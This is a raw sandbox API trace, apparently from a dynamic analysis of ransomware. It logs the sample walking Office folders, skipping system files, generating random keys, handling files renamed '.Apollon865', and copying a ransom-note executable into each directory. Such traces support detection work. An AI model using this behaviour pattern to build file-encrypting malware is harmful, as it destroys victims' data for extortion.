	[0070.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.506] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=253407) returned 1
	[0070.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.506] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.507] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.507] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.507] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0e0, lpName=0x0) returned 0x118
	[0070.509] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0e0) returned 0x120000
	[0070.521] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.522] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.522] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.522] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.525] CloseHandle (hObject=0x118) returned 1
	[0070.525] CloseHandle (hObject=0x15c) returned 1
	[0070.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.526] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0
	[0070.526] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.526] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0070.526] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove"
	[0070.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0b0 | out: hHeap=0x580000) returned 1
	[0070.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0070.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned 49
	[0070.526] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove"
	[0070.526] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.526] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.533] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x421d9c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x421d9c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.533] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.533] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.533] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.533] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x421d9c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x421d9c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.533] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.533] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.533] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.533] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.533] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="Apollon865.txt.exe") returned 1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2=".") returned 1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="..") returned 1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="windows") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="bootmgr") returned 1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="temp") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="pagefile.sys") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="boot") returned 1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="ids.txt") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="ntuser.dat") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="perflogs") returned -1
	[0070.533] lstrcmpiW (lpString1="Certificates", lpString2="MSBuild") returned -1
	[0070.533] lstrlenW (lpString="Certificates") returned 12
	[0070.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*") returned 51
	[0070.533] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="Certificates" | out: lpString1="Certificates") returned="Certificates"
	[0070.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0070.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf5f0
	[0070.534] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0070.534] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421d9c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x421d9c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.534] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.534] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="Apollon865.txt.exe") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2=".") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="..") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="windows") returned -1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="bootmgr") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="temp") returned -1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="pagefile.sys") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="boot") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="ids.txt") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="ntuser.dat") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="perflogs") returned 1
	[0070.534] lstrcmpiW (lpString1="Sounds", lpString2="MSBuild") returned 1
	[0070.534] lstrlenW (lpString="Sounds") returned 6
	[0070.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned 62
	[0070.534] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="Sounds" | out: lpString1="Sounds") returned="Sounds"
	[0070.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0070.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591440
	[0070.534] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0070.534] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="Apollon865.txt.exe") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2=".") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="..") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="windows") returned -1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="bootmgr") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="temp") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="pagefile.sys") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="boot") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="ids.txt") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="ntuser.dat") returned 1
	[0070.534] lstrcmpiW (lpString1="ToolBMPs", lpString2="perflogs") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolBMPs", lpString2="MSBuild") returned 1
	[0070.535] lstrlenW (lpString="ToolBMPs") returned 8
	[0070.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned 56
	[0070.535] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ToolBMPs" | out: lpString1="ToolBMPs") returned="ToolBMPs"
	[0070.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0070.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591640
	[0070.535] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0070.535] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="Apollon865.txt.exe") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2=".") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="..") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="windows") returned -1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="bootmgr") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="temp") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="pagefile.sys") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="boot") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="ids.txt") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="ntuser.dat") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="perflogs") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolData", lpString2="MSBuild") returned 1
	[0070.535] lstrlenW (lpString="ToolData") returned 8
	[0070.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned 58
	[0070.535] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ToolData" | out: lpString1="ToolData") returned="ToolData"
	[0070.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0070.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591740
	[0070.535] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0070.535] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="Apollon865.txt.exe") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2=".") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="..") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="windows") returned -1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="bootmgr") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="temp") returned 1
	[0070.535] lstrcmpiW (lpString1="ToolIcons", lpString2="pagefile.sys") returned 1
	[0070.536] lstrcmpiW (lpString1="ToolIcons", lpString2="boot") returned 1
	[0070.536] lstrcmpiW (lpString1="ToolIcons", lpString2="ids.txt") returned 1
	[0070.536] lstrcmpiW (lpString1="ToolIcons", lpString2="ntuser.dat") returned 1
	[0070.536] lstrcmpiW (lpString1="ToolIcons", lpString2="perflogs") returned 1
	[0070.536] lstrcmpiW (lpString1="ToolIcons", lpString2="MSBuild") returned 1
	[0070.536] lstrlenW (lpString="ToolIcons") returned 9
	[0070.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned 58
	[0070.536] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ToolIcons" | out: lpString1="ToolIcons") returned="ToolIcons"
	[0070.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0070.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5917c0
	[0070.536] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0070.536] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="Apollon865.txt.exe") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2=".") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="..") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="windows") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="bootmgr") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="temp") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="pagefile.sys") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="boot") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="ids.txt") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="ntuser.dat") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="perflogs") returned 1
	[0070.536] lstrcmpiW (lpString1="XML Files", lpString2="MSBuild") returned 1
	[0070.536] lstrlenW (lpString="XML Files") returned 9
	[0070.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned 59
	[0070.536] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="XML Files" | out: lpString1="XML Files") returned="XML Files"
	[0070.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0070.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591840
	[0070.536] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0070.536] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0
	[0070.536] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.536] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0070.536] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files"
	[0070.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591840 | out: hHeap=0x580000) returned 1
	[0070.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0070.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned 59
	[0070.537] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files"
	[0070.537] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.537] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.542] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x421d9c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x421d9c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.542] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.542] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.542] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.542] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x421d9c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x421d9c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.542] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.542] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.542] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.542] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.542] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="BUILTI~1.XSD")) returned 1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="Apollon865.txt.exe") returned 1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2=".") returned 1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="..") returned 1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="windows") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="bootmgr") returned 1
